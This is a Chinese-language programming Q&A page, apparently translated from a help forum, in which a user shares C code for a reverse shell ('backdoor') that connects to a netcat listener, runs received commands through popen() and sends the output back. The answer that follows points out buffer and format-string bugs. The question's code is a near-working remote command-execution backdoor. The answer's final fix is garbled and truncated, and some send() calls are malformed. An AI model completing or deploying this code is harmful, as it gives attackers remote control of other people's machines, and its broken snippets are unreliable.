问题描述
我正在重写一个用python创建的简单的反向shell程序,现在是C。
该程序应该尝试连接到主机(netcat在指定端口上侦听),然后从nc获取输出,通过tcp套接字发送,并使用popen()进行系统调用,然后发送回通过与nc显示的插座连接的终端输出。
当我尝试发送命令时,程序会返回我所请求的内容,但也会有些混乱。
例如:
/Users/jacob/Library/Developer/Xcode/DerivedData/backdoorfbhufkccmceisqaozrfitkmfsvge/Build/Products/Debu@Ԓ`? ??????0d?r?
(终端中nc的输出,这是一个“ pwd”命令)
我似乎还存在无法清除缓冲区的问题?当我使用'say'命令时(say [sentence]),MacOS应该使用语音语句。发生这种情况,但是只有'say'之后的参数的前2个字母(句子的前2个字符),然后说一个更早的字符串。 (“已成功连接!”)
例如:(命令:“ say hello”)
heSuccessfully connected!
我试图在不同位置打开FILE流,并且
代码(在套接字设置和连接之后):
const char conMsg[25] = "Successfully connected!\n";
send(netSock,conMsg,sizeof(conMsg),0);
printf("Sent message...\n");
// variable setup
char command[] = "clear";
char buffer[256];
const char INPUTFIELD[3] = "\n> ";
// requests loop
while (1) {
send(netSock,INPUTFIELD,sizeof(INPUTFIELD),0);
// recv command
recv(netSock,&command,sizeof(command),0);
printf("recived command...\n");
printf(command);
// exit check
if ( strncmp(command,":exit",5) == 0) {
close(netSock);
exit(0);
} else {
// stream init
FILE *in;
in = popen(command,"r");
// popen output,send to host
while ( fgets(buffer,sizeof(buffer),in) != NULL) {
send(netSock,buffer,0);
}
pclose(in);
}
}
return 0;
我如何使用该程序:
- nc -l [指定的端口](MAC或Linux终端命令(也可能是Windows))
- 启动二进制文件(不要紧,因为我打算让它尝试连接,但是到目前为止,它的功能性尚不足)
解决方法
// recv command
recv(netSock,&command,sizeof(command),0);
printf("recived command...\n");
printf(command);
您忽略了recv
的返回值,因此您的其他代码都不知道您接收了多少字节的数据。另外,您将command
传递给printf
。这有两个问题:
- 如果您没有收到零字节怎么办?您可以直接在缓冲区的末尾运行。
- 如果接收到的数据包含
%s
专用的printf
或其他字符串怎么办?
我认为您的主要问题在这里:
// popen output,send to host
while ( fgets(buffer,sizeof(buffer),in) != NULL) {
send(netSock,buffer,0);
}
fgets
将仅读取到行尾(包括行尾字符),然后终止为null。除非一行超出缓冲区大小,否则它不会完全填满缓冲区。您的send
调用将发送整个缓冲区,无论包括fgets
读取的所有未初始化的乱码。这可能会更好:
// popen output,strlen(buffer),0);
}